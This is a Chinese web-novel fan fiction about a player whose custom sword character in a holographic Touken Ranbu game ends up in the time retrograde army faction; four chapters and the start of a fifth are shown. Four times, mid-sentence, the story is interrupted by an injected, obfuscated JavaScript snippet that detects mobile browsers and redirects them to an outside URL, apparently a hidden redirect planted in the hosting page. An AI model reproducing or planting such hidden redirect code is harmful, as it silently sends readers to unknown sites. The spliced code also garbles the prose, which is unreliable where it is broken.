《明明只是在玩游戏结果真成刀剑了》 1. 第一章 传奇耐活王《刀剑乱舞》重磅推出了全息版《新·刀剑乱舞》游戏,全息版本开启了多种模式,沉浸式体验,自由度大大提升。 第一个模式是审神者模式,刀剑乱舞最初的主视角,可以体验养刀的快乐,欣赏刀剑男士的美貌,享受基建的乐趣。 第二个模式是扮演刀剑男士,需要分别由一位审神者玩家和一位作为初始刀或初锻刀的玩家组队才可以创建本丸。和亲友一起玩的玩家通常会开启这个模式共同经营一个本丸。 第三个模式则是时间溯行军指挥官模式,其实就是指时间溯行军阵营的“审神者”,由于时间溯行军不能被称之为神明,所以它们的审神者被称作指挥官,新版刀剑乱舞经常开启活动进行阵营战,所以有相当多的战斗爽玩家会选择时间溯行军模式。 玩家期待已久的游戏仓终于到货了,他兴致勃勃地躺入全息游戏仓进入游戏,选择了刀剑男士模式,但他不准备扮演已实装的刀剑,而是准备自己创设。 没错!就是这么自由! 官方还开启了自设刀剑角色功能,但也有不少限制。 首先需要是有历史记载的刀剑,其次刀剑的历史背景和人设要符合逻辑,不能随便设一个玛丽苏刀名还有背景啥都往上套,太过离谱影响游戏平衡的,重名或者历史背景重复的会被官方统统pass。 并且自设出来的刀剑初始状态只能是流浪模式,需要通过自行探索加入阵营。 因为编辑自设刀剑有一定的难度和门槛,并且流浪刀剑是随机地图出生,一不小心就落地成盒,所以很少会有人选择自设刀剑。 不过没关系! 玩家自信地提交了自己准备好的资料。 他选择和自己同名的髭切仿刀小乌,历史背景官方并没有要求得太过细致,网上查找的资料足够,他只要负责捏人再确定一下人设,包过的。 玩家捏出身高165的壳子,发型有点像长发版水母头,黑发红瞳,发尾和瞳色一致是渐变的锈红色,双耳按玩家的xp被捏成了黑色的耳羽。 出阵服是与源氏双子统一风格的黑红色小军装,外套和源氏双子的利落不同,是长款,衣摆垂至膝盖处,袖口也不是为了方便战斗而较为贴合腕部的精简设计,而是荷叶袖,遮掩了半个手掌。 颈部的伤疤被洁白的绷带所掩盖,全身上下看上去被裹得严严实实,只有脸露了出来。 “芜湖!太好看了!长发美少年就是世界的珍宝!” 玩家选择确定,套上了这幅壳子,对着初始创建空间提供的镜子摸了摸和源氏双子一模一样的猫眼。 吸溜...... 绝赞源氏特色猫眼!认不出来他和源氏有关系算他输! 在人设资料审核成功后,偷懒选择了使用ai自动生成角色,玩家眼前的画面开始扭曲,同时耳边传来了软绵绵的游戏开始加载语音。 “请多指教~” ...... 小乌是在火辣辣的剧痛中清醒过来的。 手脚还有脖子像是被抹上了辣椒水,火辣辣的疼痛让人觉得似乎浑身都在发热。 小乌懵逼地站在原地,忍着痛打开了设置中的疼痛感知,此时显示疼痛感知为默认值50%。 卧槽,怎么回事啊怎么这么痛! 小乌赶紧把疼痛感知跳到了最低限度10%,才几乎感觉不到什么疼痛,他拉开手套脱下来想看看怎么个事,结果发现自己的手上没有皮肤,鲜红的肌肉裸露在外头,两只手都红彤彤的,活像是被剥了皮的案发现场。 “啊啊啊啊啊!” 小乌被吓得尖叫一声,手套都掉在了地上。 但小乌脑袋嗡嗡地愣了半天,还是把手套捡起来抖着手给套上了。 官方为了小乌的安全,防止有突发身体健康情况无法察觉,所以不允许完全关闭疼痛感知,在操作过程中小乌还能感觉到手在触碰手套的过程中能感觉到有微不可查的细小电流似乎在神经末梢窜来窜去。 我说怎么这么痛呢......哈哈,连皮肤都没了能不痛吗...... 个屁啊! 为什么会这样啊! 小乌绝望地打开角色面板查看这个游戏的狗屎ai到底给他随了什么神经debuff,能痛成这样。 ...... 刀剑名称:小乌 刀种:太刀 角色数值: 生存:...... 打击:15(?) 防御:...... 机动:5(?) ...... 历史背景:公元11世纪末,源氏重宝膝丸因政治联姻被赠予平氏家族,源氏为填补空缺,命人以源氏另一重宝狮子之子为原型,锻造了一把仿刀,命名为“小乌”。其刀身为黑色,原长两尺七寸两分,比狮子之子长出两分,象征对膝丸的替代性。 ......(点击展开) buff: 1.恶意:您对恶意十分敏感,当恶意强烈到一定程度,您可以窥探到恶意来源的内心。 2.炉心:您身为本灵,不需要审神者提供灵力便可自主产生灵力,可独立行动(灵力无法共享给玩家或npc)。 3.夜视:您在海底适应了黑暗,不再惧怕黑暗的环境,适合参与夜战。 4.待触发。 debuff: 1.锈蚀:沉海千年使本体锈蚀严重,人身体现形式为缺少部分皮肤,缺少皮肤的部分敏感度大幅度提升,持续疼痛效果,不可驱散。 2.恶堕:刀尖断裂的绝望,被源氏否定价值,承载平氏覆灭的怨念,您无疑是一把被恶意浸染的刀剑,时间溯行军将自动视你为同一阵营。(截取“替代品”、“友切”、“政治牺牲品”等关键词生成) 阵营:无 ...... ...... 小乌语塞。 小乌扶额。 小乌苦笑。 槽点太多了不知道从哪里开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795910|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始吐槽,这是我用ai的报应对吗?对吗!!! 数值除了隐蔽和侦查,统统低得可怜,那个和短刀媲美的打击是怎么回事?!比大太刀机动还要低的机动又是怎么回事!! 最低机动的石切丸都有10!!! 小乌剁了剁脚,被减弱的痛感就像蹲久了之后的麻,有千万只蚂蚁在咬,让人有轻微的不适,但也确认了他并不是腿断了。 小乌怀疑人生地点开打击和机动后面的问号。 打击:15(手部皮肤缺失,持续疼痛buff生效,大幅度削弱打击数值) 机动:5(脚部皮肤缺失,持续疼痛buff生效,大幅度削弱机动数值,无法跑动) “......”要不删号吧。 人家崩铁只是ban了跳跃,他这是连疾跑都给ban了,拿头去战斗。 可恶啊可是自设刀剑删号会有三个月的惩罚时间,他怎么能忍得住三个月玩不了刀剑乱舞,没有人能顶得住!!! “好好好,算我倒霉。”小乌咬牙切齿地点开举报投诉通道痛斥这个破游戏的智障ai,无奈地接着这个破烂面板先走一步算一步地玩下去。 可能是为了贴合背景的沉海,他出生在了一处海边,他四处张望了一下,看不到人烟,只能挑了个方向随便走。 “这个号唯一的好处应该就是不怕时间溯行军了。”小乌喃喃自语,这意味着他可以无痛加入任何一方阵营,没有落地成盒的后顾之忧。 小乌从白天走到傍晚,从精神抖擞地探索新世界走到开始阴暗爬行。 脚......我的脚要不行了......为什么还没找到城镇...... 小乌点开内置论坛,发布了一个求收留的帖子并附上了自己的角色面板,一屁股坐下等待有缘人的接收。 美滋滋,很快就可以去本丸和亲眼看见髭切膝丸还有父上大人了! 进入游戏之后的坏运气似乎终于到头了,没有两分钟他就收到了接收邀请。 【就这个战斗爽】:你好你好,我派我手底下的npc来接你了! 【就这个战斗爽】:q版髭切wink jpg. 【小乌】:谢谢你老师,好人一生平安!小猫哭哭 jpg. 小乌选择接受后关闭了聊天框,盼来了一队浑身冒黑漆,面目狰狞的时间溯行军,它们身材高大,黑皮油亮,壮实的肌肉随着动作鼓动着,一队猛男围着小乌,小乌只觉得夕阳仅剩的余晖突然消失,天黑了。 救命啊! 小乌差点尖叫出声,好在他从时间溯行军没有攻击行为的表现中想起了他的恶堕debuff,刚松了一口气就被拦腰抱起夹在了一位枪爹的胳肢窝底下。 黑色的浓雾腾升而起,瞬间就传送到了时间溯行军的本丸。 小乌飘着魂点开了和他联系的审神者个人资料,上面的阵营标明了时间溯行军。 哈哈,不活了。 发帖忘记筛选审神者阵营板块了...... 2. 第二章 【就这个战斗爽】也是一个身高一米八的肌肉壮汉,穿着系统初始赠送的指挥官工作狩衣,背后探出一条长长的骨尾。 他狂奔而来,在快到达小乌面前是双膝一跪,顺着惯性丝滑地滑到小乌面前,深情地望着他:“老师,欢迎你来我的本丸嗷嗷嗷!” 【就这个战斗爽】激动地发出一串猴叫,抽象得小乌头皮发麻。 但这不是目前最需要关注的问题。 小乌被枪爹放在地上,疑惑地问道:“那个老师,不好意思我没有看资料就点了接受,但是我刚刚看了你的个人资料应该是战斗型玩家?” “对啊对啊,看我ID!” “你看我的面板了吗?战斗模块基本上是废了,如果你觉得不行的话我再重新去找一个本丸......” 小乌猜测这个玩家是不是没有看我的面板就直接点申请了,这个废物面板耽误了战斗玩家真的会让人很愧疚啊! 如果这样的话他就可以顺理成章地退出去重新找一个时之政府的本丸了,嘿嘿。 “我看了我看了!” 【就这个战斗爽】这才脱离了激动的情绪反应过来,一把抱住小乌的大腿大喊:“老师你不要走!你看你发的求救贴了吗?已经爆了!我手速不快就错过你了,错过你我会后悔一辈子呜啊啊啊!” 啊?一个求救贴有啥好火的?这年头玩家都这么无聊了?自设刀剑玩家虽然很少但是也不至于珍稀到发个帖子都能爆火吧? 小乌摸不着头脑,点开自己之前发的帖子看了起来。 1楼:少见的自设刀剑玩家! 2楼:又有自设玩家在外面流浪了哈哈哈,有没有好心人收留,我的本丸资源紧缺收不动刀了,叨叨们都还在排队等手入室...... 3楼:居然是小乌!一眼看出这个玩家一定是个源氏推! 4楼:这个面板好垃圾,老师你要不删了再创一个呢,玩起来没意思啊。 5楼:楼上删自设刀剑号惩罚时间贼长,一般来说不会有人愿意删的,除非退游;不过,呃,这个面板,祝你好运了贴主。 6楼:都不说是吧,我直说了,这个面板太垃圾了除了外观党和休闲党应该没人愿意收这把刀吧。 7楼:倒也不用那么直白……咱游戏外观党和休闲党也不少哇。 ...... 36楼:卧槽你们把面板详情点开啊!看buff!这什么逆天buff??? 37楼:卧槽?? 38楼:我勒个豆哦这也可以? 39楼:真的假的还能这样和时间溯行军和平共处?天才! 40楼:贴主阵营变了!真的能加入时间溯行军阵营!长谷部震惊瞪眼 jpg. 41楼:这对吗?这是不是开创先河了?刀剑男士也有机会加入时间溯行军了? 42楼:卧槽......这脸捏得好香,贴主我的本丸有源氏……你退出来来我本丸吧......求你了...... 43楼:xiaxiaxia,不要想了,小乌已经是我的刀了!敌短得意扭扭 jpg. 44楼:可恶啊把楼上那个指挥官叉出去!我记住你id了别让我在出阵的时候碰到你! 45楼:这样操作可行的话我们是不是也可以期待一下以后时间溯行军阵营也可以拥有很多美貌的刀剑男士了。 46楼:理论可行,有没有大佬快去实践一下! ...... 小乌看完帖子,转头看向【就这个战斗爽】:“所以,没有刀剑男士加入过时间溯行军阵营吗?” “没有哇!刀剑男士和时间溯行军都是死敌,不可能加入时间溯行军阵营的,来了必被这里的敌刀围殴至死。” 【就这个战斗爽】向小乌举例:“前一段时间倒是有个猛人开着刀剑号硬闯了一个溯行军玩家的本丸,然后被里面的敌刀围着砍死了,号就这么废了。” “你现在超抢手的。”【就这个战斗爽】点开小乌的面板,看了眼阵营后面的可更改备注,想哭,“小乌别走,你走了我怎么活啊,我也想看美少年呜呜呜。” “我、我不走。”小乌艰难地把腿拔出来,“你想看美少年怎么不去时之政府啊。” “我也喜欢溯行军啊!帅得我不要不要的!” 啊?! 小乌震惊地看向长相各有各难处,不符合一般人类审美的敌刀们。 帅、帅吗? 【就这个战斗爽】爬起来,拍了拍敌太,敌太发出低沉的吼声。 “多有气势!” 又啪啪响地拍了拍它裸露在外的胸肌,肉眼可见的弹性。 “慷慨!” 又捞起敌短圈在肱二头肌上做了个健美姿势。 “像个小手办一样!” 小乌......小乌觉得自己的画风跟这个本丸格格不入。 我不理解啊我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795911|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不理解。 审美属实有点小众。 “老师我看你面板数值好像有点瘸腿,不能跑也没关系,出阵你随便挑一个当坐骑啊,路都不用走。” ......话又说回来了,谁说这溯行军不好的?这可太好了! “谢谢你,战斗哥我不允许任何人忤逆你!”的审美。 【就这个战斗爽】带着小乌安顿好了部屋,还给小乌安上了近侍。 “老师我给你开权限了,我下线的时候帮我运行一下本丸就好了嗷。” “ok!” “那我把四队腾出来给你练级,我练了满练度薙刀和极太,你看着安排随便用,只要不动其他三队的队伍成员就好了!” “好耶!” 小乌转身要去出阵,却被【就这个战斗爽】拉住袖子:“老师老师,来跟我拍张合照呗!” 他嘿嘿一笑:“我想发到论坛上炫耀一下。” “没问题!” 小乌先是跟【就这个战斗爽】贴着脑袋自拍了一张大头,接着又跪坐在【就这个战斗爽】面前凹着姿势拍了一张。 “也是和时之政府的审神者混上一个待遇了。” 【就这个战斗爽】捧着照片一脸梦幻。 “时间溯行军虽然帅,但是普刀只会嗷嗷,极化刀才会说人话,有时候还是挺羡慕时之政府那边的待遇的。” 谁让时间溯行军指挥官这个模式是个新模式呢,唉,还有很大的完善空间。 “没事,你的乌来了!” 小乌拍拍指挥官......太矮了拍不到肩膀,只能拍拍他的胳膊。 “家主大人,你以后把我带出去,我配合你扮演,包有面的!” “小乌......”【就这个战斗爽】感动得蛋花眼都出来了,“我过两天带你去好友的本丸玩嗷!他的本丸有源氏兄弟,让你贴个够!” ...... 新版游戏的刀剑模式的好处就是对于审神者来说足够省心,因为玩家自己会肝。 自己搓刀装,自己买御守,自己安排队员出阵,自己练级,出阵结束获得的奖励也会自动结算进入本丸的资源库里。 小乌在刀装室用新手礼包开出的资源搓了搓刀装,两绿一银。 他佩戴上新手赠送的普通御守,高高兴兴地安排好了四队成员,带着一队敌刀来到时空转换器,准备出阵,黑色的雾气包裹住一行人,瞬间来到了出阵地点。 3. 第三章 第一次出阵进入地图后系统就发出了提示。 小乌查看系统面板,惊喜地发现触发了一条buff。 【共鸣:当您或您的队友进入战斗状态时,将会触发增益,全队全属性提升40%(阵营为时间溯行军时生效)】 系统总算是做了一回人。 但...... 小乌看了一眼自己的机动。 嗯,加40%,那机动就有七了。 呵呵......呵呵...... 我往这一站就是对这个破游戏竖起的一根中指。 小乌在心里狂骂游戏系统,还是只能自己哄好自己。 算了算了,好歹坐骑的机动能提高很多,四舍五入也是提了很多机动了。 刀剑男士那边大太刀都不能骑队友呢,马好多地方都不方便骑,不像他,可以骑着溯行军到处跑。 于是,这一天,一位骑着溯行军的刀剑男士震撼了维新地图所有和他撞上的刀剑男士和审神者。 小乌只觉得身下的溯行军猛地加速,视野两侧的景物瞬间模糊成一片流动的色块,耳边只剩下呼呼的风声和溯行军低沉如引擎般的咆哮。 他下意识地抓紧了手下肩甲上凸起的骨刺,整个人几乎要被甩飞出去,心脏在胸腔里擂鼓般狂跳。 “呜哇——慢、慢点!!” 小乌的惨叫被风撕扯得支离破碎。 肩胛好硬,顶在胃部感觉要吐了。 然而智能程度不太高的溯行军显然不懂什么叫慢点,在【共鸣】buff那40%的机动加成下,它正享受着前所未有的速度。 它庞大的身躯爆发出惊人的力量,每一次蹬地都像炮弹发射,沉重的脚步踏在地上,震得尘土飞扬,留下一个个小坑。 就在这风驰电掣中,前方的树林边缘,一队刀剑男士的身影清晰地显露出来。 为首的是队长压切长谷部。他正低头向身边一位戴着眼镜、穿着现代审神者制服的少女汇报着什么。 少女审神者看起来经验尚浅,脸上带着一丝初临战场的紧张。 长谷部似乎察觉到了地面的震动和那不同寻常的敌意波动,猛地抬头。 当他看清冲过来的东西时,那双锐利沉稳的眼睛瞬间瞪得溜圆,仿佛看到了世界上最不可思议的景象。 “主人!小心!!” 长谷部几乎是条件反射地将审神者护在身后,瞬间拔刀出鞘,刀锋直指前方。 他身后的刀剑男士们——加州清光、大和守安定、药研藤四郎、宗三左文字也立刻进入了战斗姿态,气氛骤然绷紧。 然而,下一秒,所有刀剑男士的动作都僵住了。 一群面目狰狞、黑气缭绕的时间溯行军,正以惊人的速度朝他们冲刺而来。 敌薙刀庞大的身躯冲在最前,敌枪、敌打刀紧随其后,散发着令人心悸的压迫感。 但这都不是重点。 重点是,在那凶神恶煞的敌薙刀宽阔的肩膀上,赫然坐着一个“人”! 那是一个穿着黑红色长款军装、长发飘飞的少年。 少年身形纤细,与身下魁梧的敌薙刀形成鲜明对比。 他双手死死抓着敌薙刀的骨刺,外套在狂风的鼓动下猎猎作响。 他腰间悬挂的、俨然是属于刀剑男士的本体刀。 一个刀剑付丧神......骑在时间溯行军的脖子上?! “这......这是......?!” 加州清光手里的刀差点掉地上,红宝石般的眼睛瞪得比长谷部还圆。他身边的安定也完全懵了,嘴巴微张,忘了摆出战斗架势。 “时间溯行军......和刀剑男士......同行?” 药研藤四郎的眼镜片反射着锐利的光,语气充满了极度的困惑和警惕,“不可能!怎么会......” 他想仔细看清楚那个付丧神的长相,但是小乌打开了时间溯行军自带的特效,周围环绕的黑雾遮挡了视线,没办法看清具体面目。 “陷阱?还是新的迷惑手段呢?” 宗三左文字眉头紧锁,美丽的脸上布满阴霾,握刀的手又紧了几分。 被长谷部护在身后的少女审神者更是彻底傻眼,大脑一片空白,只会喃喃自语:“长谷部......那、那个是......审神者?历史修正主义者?还是......新、新的敌人种类?” 还有......为什么一个新手图会出现满级溯行军??? 他们甚至还有极化太刀!!! 历史修正主义者不做人了??? 就在刀剑男士们集体宕机的瞬间,小乌身下的敌薙刀已经凭借暴涨的机动,如同失控的重型卡车般冲到了近前。 它似乎根本没打算停下,或者根本刹不住车,巨大的薙刀带着破风声,直直朝着挡路的压切长谷部劈去。 “敌袭!!” 长谷部终于从震惊中强行拉回神智,厉喝一声,挥刀格挡。 锵——!!! 刺耳的金铁交鸣声炸响! 长谷部不愧是实战经验丰富的刀剑,反应极快,稳稳架住了敌薙刀势大力沉的一击,巨大的力量碰撞,让双方都震得手臂发麻。 然而,冲击的余波却苦了小乌。 他只觉得一股巨力从下方传来,整个人像被攻城锤撞了一下,惊呼着从敌薙刀的肩膀上被甩飞了出去! “哇啊啊啊——!” 他在半空中划出一道狼狈的弧线,手舞足蹈,最终“噗通”一声,脸朝下重重摔在了敌薙刀和长谷部交锋区域旁边的草地上,尘土扑了他一脸。 “咳!咳咳咳……” 小乌被摔得七荤八素,眼冒金星,感觉全身骨头都要散架了,他挣扎着想爬起来,手脚却因为刚才的惊吓和颠簸有点发软。 双方顿时开始了激烈的交战,对面的审神者惊恐地拿出设备向政府报告新手地图出现了不合常理练度的地方,请求支援。 跟在薙刀后面的溯行军路过“坠机”的小乌,丝毫没有停下脚步的意思,就是一个莽。 刀剑男士们没什么练度顿时被砍了个人仰马翻, 长谷部艰难地架着敌薙刀,沉声喝道:“保护好主人,有队长重伤保护机制,我们马上回去!” 接着长谷部撤下了格挡,咬牙迎上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795912|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了刀刃,瞬间重伤。 代表传送的金色光芒闪过,一队刃连带着审神者瞬间传送消失。 小乌终于撑起了上半身,灰头土脸,发丝凌乱地粘在脸上,红色的瞳孔里还带着惊魂未定和摔懵了的茫然。 他下意识地抹了把脸上的灰,看着对面就这么逃了。 小乌:“......” 啊这。 因为配置过于离谱把新人玩家都给吓跑了。 小乌反思了一下,在这一轮出阵结束后调整了队伍,只带了一振满级薙刀,其它都是25级对标特化成功的强度。 然后在出阵的时候先让薙刀隐藏起来待命,自己上去砍砍砍刮痧,等削掉了对面付丧神的刀装之后自己的刀装也被削了个干净,然后让薙刀过来接他,骑着薙刀跑远苟起来让npc队友上去砍。 ...... 小乌正在跟踪一支付丧神队伍。 与其说是跟踪队伍,不如说是在跟踪队伍里面的小乌丸。 他在刷到特化之后换了新手图中难度较高的地图,然后遇到一支居然有五花稀有太刀小乌丸的队伍。 一个新手居然这么欧,小乌嫉妒得要疯了! 他玩旧版刀剑乱舞玩了五年都没有小乌丸! 于是他决定在和这支队伍交战结束后跟在后面吸一下小乌丸。 刃就是要看这些才能讨生活啊!(震声) 我缺父爱,请给我发一振小乌丸谢谢。 至于为什么是跟踪? 因为小乌就是个嘴上的巨人,行动上的矮子,所以根本不敢上去直接贴贴,只敢偷感十足地隔空吸刃。 可惜这支队伍有一把练度特别高的小短刀,没跟多久就敏锐地察觉到了小乌,转身厉喝:“时间溯行军的气息!全员警戒!” 顿时全员拔刀出鞘。 糟了! 小乌一边默默地用系统通知跟在他后方的薙刀坐骑过来接他,一边放轻脚步往后退,衣角擦过灌木丛,发出轻微的窸窣声,吸引了付丧神的注意,开始向这个方向冲刺。 啊啊啊啊啊! 小乌立马向后快走,走根本比不过跑的,六刃一下就缩短了一大段距离并看到了小乌的背影。 是刚刚在交战中看到的骑时间溯行军的奇怪付丧神。 刀剑付丧神们发现这是个探究的良好时机,追得更卖力了,在看到那个奇怪的付丧神前方出现了敌薙刀后,性急的爱染急得大喊了站住。 小乌被这惊雷一声吓得下意识快跑起来,和敌薙面对面奔向对方,还没等小乌意识到他居然能跑,就突然脚软扑倒在地。 敌薙刀伸手去捞,萤丸当机立断掰了一根粗壮的树枝朝敌薙捞刃的手掷去,大太刀用了十成的力气,那根树枝撕裂空气,发出短促尖锐的哨音,如离弦之箭般。 小乌趴在地上努力伸手去够,树枝却先一步飞入了敌薙的手中。 然后。 智障ai判断捞到人了,敌薙抓着那根树枝转身就跑。 小乌:“?” 付丧神们:“?” 不是哥们?我还没上车:) 4. 第四章 “你回来啊!” 小乌绝望地呐喊,见敌薙刀越跑越远失去了踪迹,他绝望地拖着突然软得像面条似得双腿,伸出一根手指在泥土上划拉出一道竖线。 天杀的我恨泥......我会永远记住泥...... 打开私聊界面给【就这个战斗爽】发送:“大楼,窗户,快跑(划掉),救命 jpg.” 【就这个战斗爽】:“?怎么了宝。” 【小乌】:“我让你家npc来接我,他捞了根树枝跑了,跑得老远了,我要被付丧神砍销号了救救救!” 【就这个战斗爽】:“!!!” “坚持住我马上来!!!” 小乌趁着指挥官回消息的间隙看了一眼自己的状态。 【疼痛(当玩家强制进入奔跑状态时,将会进行疼痛值累计;达到100%时强制结束奔跑状态,疼痛值清零并触发惩罚:双腿无力持续15s;若在五分钟内连续触发三次惩罚,则延长处罚时间至1h)】 破案了,摔倒的时候我就知道肯定又是系统在偷偷搞我!!! 在小乌眼里,npc队友时因为ai犯蠢才救错了刃,在付丧神们眼里就不是那么一回事了。 “你的同伴宁愿带走一根树枝,也不愿意救你呢。” 小乌已经被包围了。 萤丸语气有点复杂,他扔到那根树枝是想阻止这位刀剑男士被带走,结果没想到那个时间溯行军直接装瞎把刀剑男士扔在这了。 不是队友吗? 萤丸的话像根冰锥子,精准地扎进了小乌被系统反复蹂躏的心脏,拔凉拔凉。 撑着地尝试站起来,可15秒的“双腿无力”惩罚还在生效,想站也站不起来。 一抬头,魂差点飞出去。 小乌丸! 那张极具压迫感、美丽又威严的脸庞近在咫尺。 小乌丸正平静地俯视着他,他甚至能看清对方衣服上精致的暗纹。 太近了。 黑雾特效不是万能的,这么近的距离绝对会被看到脸! 虽然他在设定中的小乌一直到沉海都未曾显灵,但他没由来地、非常抗拒让小乌丸认出现在的他。 所以他绝对不敢赌那一分可能性。 他几乎是条件反射地猛地抬起双手死死捂住了自己的下半张脸。 鼻梁以下被手套和宽大的袖子捂得严严实实,只留下一双瞪得溜圆、写满惊恐的猫眼暴露在空气中。 不对!应该遮眼睛! 捂着脸的手还没来得及放下,脸颊两侧那对一直安静垂着的黑色耳羽却仿佛有了自己的意识,完美响应了小乌内心最强烈的想法。 “刷啦——!” 两片柔软、带着细密绒羽的黑色小翅膀猛地向上弹起、合拢,像含羞草闭合的叶片,瞬间严丝合缝地盖住了他那双标志性的猫眼。 小乌整个人僵在原地,像个被按了暂停键的雕塑。 双手还捂着下半张脸,上半张脸则被自己的耳羽完全覆盖,只露出一点黑色的发顶和因为紧张而微微颤抖的耳羽根部。 这个姿势简直是把“此地无银三百两”和“掩耳盗铃”演绎到了极致。 空气仿佛凝固了。 包围着他的刀剑男士们显然也被这种遮挡方式惊得一时失语。 萤丸眨了眨他那双大大的绿色眼睛,小脸上满是困惑和好奇。 他看着眼前这个把自己捂得严严实实的敌刃,感觉脑子有点不够用。 众付丧神眉头紧锁,握刀的手没有丝毫放松。 这家伙在搞什么名堂? 小乌的动作很快,小乌丸只能在小乌的动作间隙中瞥视到一双红色的眼睛。 那双眼睛不如他的本丸中的初始刀加州清光一般鲜亮,暗沉的红色让他联想刀了战场上氧化的血液,联想到铁器上斑驳的锈迹。 这双眼似乎给他带来了一丝熟悉,但这种感觉出现了一瞬便悄悄地溜走,抓不住尾巴。 他微微蹙起修长的眉,目光落在那个把自己藏得密不透风的小鹌鹑身上。 那身黑红军装上的刀纹,与刀剑付丧神相似的气息……无不昭示着其刀剑男士的身份。 然而,他身上又萦绕着一种奇异的、又让刃不适的气息。 小乌丸缓缓开口,话语间带着古老的韵律: “遮掩形貌,徒显心虚。你的气息,的确是刀剑之灵,非污秽之流。” 他向前踏出半步,日本刀之父的目光带着审视与不解。 “身负刀剑之灵光,却与溯行军同行......此乃悖逆常理。为父观你非穷凶极恶之徒,为何投身时间溯行军,与之为伍?” 那声音仿佛直接敲在灵魂上,带着一丝探究。 小乌藏在耳羽和手掌下的脸瞬间白了,心脏狂跳不止。 听着小乌丸的声音,从初见时便无端生升腾的情绪愈发汹涌,小乌说不清具体是什么,但他可以确定这是正向的——正是这种情绪驱动着他偷偷摸摸尾随小乌丸。 孺慕吗?不对。 单纯因为玩家对于小乌丸的喜爱?完全不符。 他只是想......只是想...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795913|175008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是否......有什么难处?” 小乌丸的声音低沉了几分,语调变得更加柔和,“被迫?还是......另有隐情?子代若有难处,为父会想办法替你解决。” 小乌张了张嘴,却一个字也吐不出来。 难道要他说“因为系统给我刷了个恶堕debuff并且被历史修正主义者先捡到了”吗? 沉默如重石压下,刀剑付丧神们面面相觑,有些急躁。 小乌犹豫了一下,伸手把自己装备着的御守掏了出来。 捧着御守,跪坐,低头,举起上供。 “嗯?” 小乌丸试探着伸手。 “是要给为父?” 小乌点头。 小乌丸看了看那个蓝色的普通御守,思索片刻,接下:“好孩子。” 呜呜。 小乌要被这三个字逼得掉小珍珠了,太温柔了父上。 但是他也忽然意识到自己不知道为什么脑抽把仅此一个能够保命的御守送给了小乌丸。 我在干嘛啊? “呼——!!!” 一股浓烈到化不开的黑雾毫无征兆地凭空炸开!像一堵厚重的墙壁,瞬间将小乌与包围他的刀剑男士们隔开。 浓雾翻滚,遮蔽了视线,将此刻紧绷又尴尬的气氛紧绷了几分。 紧接着,一个熟悉的、带着点破锣嗓子、无比急切的咆哮声穿透浓雾炸响: “呔,还我刀来!” 是【就这个战斗爽】!他带着救兵来了! 小乌只觉得心脏猛地一松,劫后余生的庆幸感汹涌而来,几乎要淹没掉刚才被质问的惶恐,他本能地想放下手、睁开眼看看救星。 黑雾的另一边,刀剑男士们瞬间进入最高警戒状态,刀光闪烁。小乌丸凝视眼前翻滚的黑雾,又望了一眼其后面的小乌,眼中的探究之意更深了。 然而前来救援的敌人太过强大,他当机立断:“撤退!” 【就这个战斗爽】咚咚咚地踏步而来准备大战一场,结果付丧神们当着他的面就撤退了:“啊?” 小乌耳羽张开,呆呆地看着【就这个战斗爽】。 他面前不是印象中的那个玩家,而是一个巨型时间溯行军,披着漆黑的铠甲,厚重如移动堡垒,布满狰狞的尖刺,关节和双眼喷涌出黑绿色的火焰,手持一杆长枪,压迫感拉满。 一看就是一个终极大boss。 可这个庞然大物却发出了【就这个战斗爽】的声音。 “你谁啊?” 小乌灵魂发问,大为震撼。 5. 第五章 十一世纪末,保元之乱前。 冷雨敲打着平忠盛府邸的檐廊,水珠连缀成线,有节奏地砸在院中的石板上,碎裂声沉闷而单调。 府邸深处,隔绝了雨声的内室却亮如白昼,空气凝滞。 源氏的使者早已带着丰厚的回礼离去,留下的,只有那柄横陈在刀架上的太刀。 太刀刀身颀长,弧度优美流畅,在灯下流转着幽冷的光泽,像一泓深潭之水。 刀茎处,赫然是新近錾出的“髭切”二字,笔画锐利。 平忠盛端坐主位,面容沉肃,眼神却锐利如鹰隼,牢牢锁在那柄刀上。 他并未立刻触碰,只是一寸寸审视着。 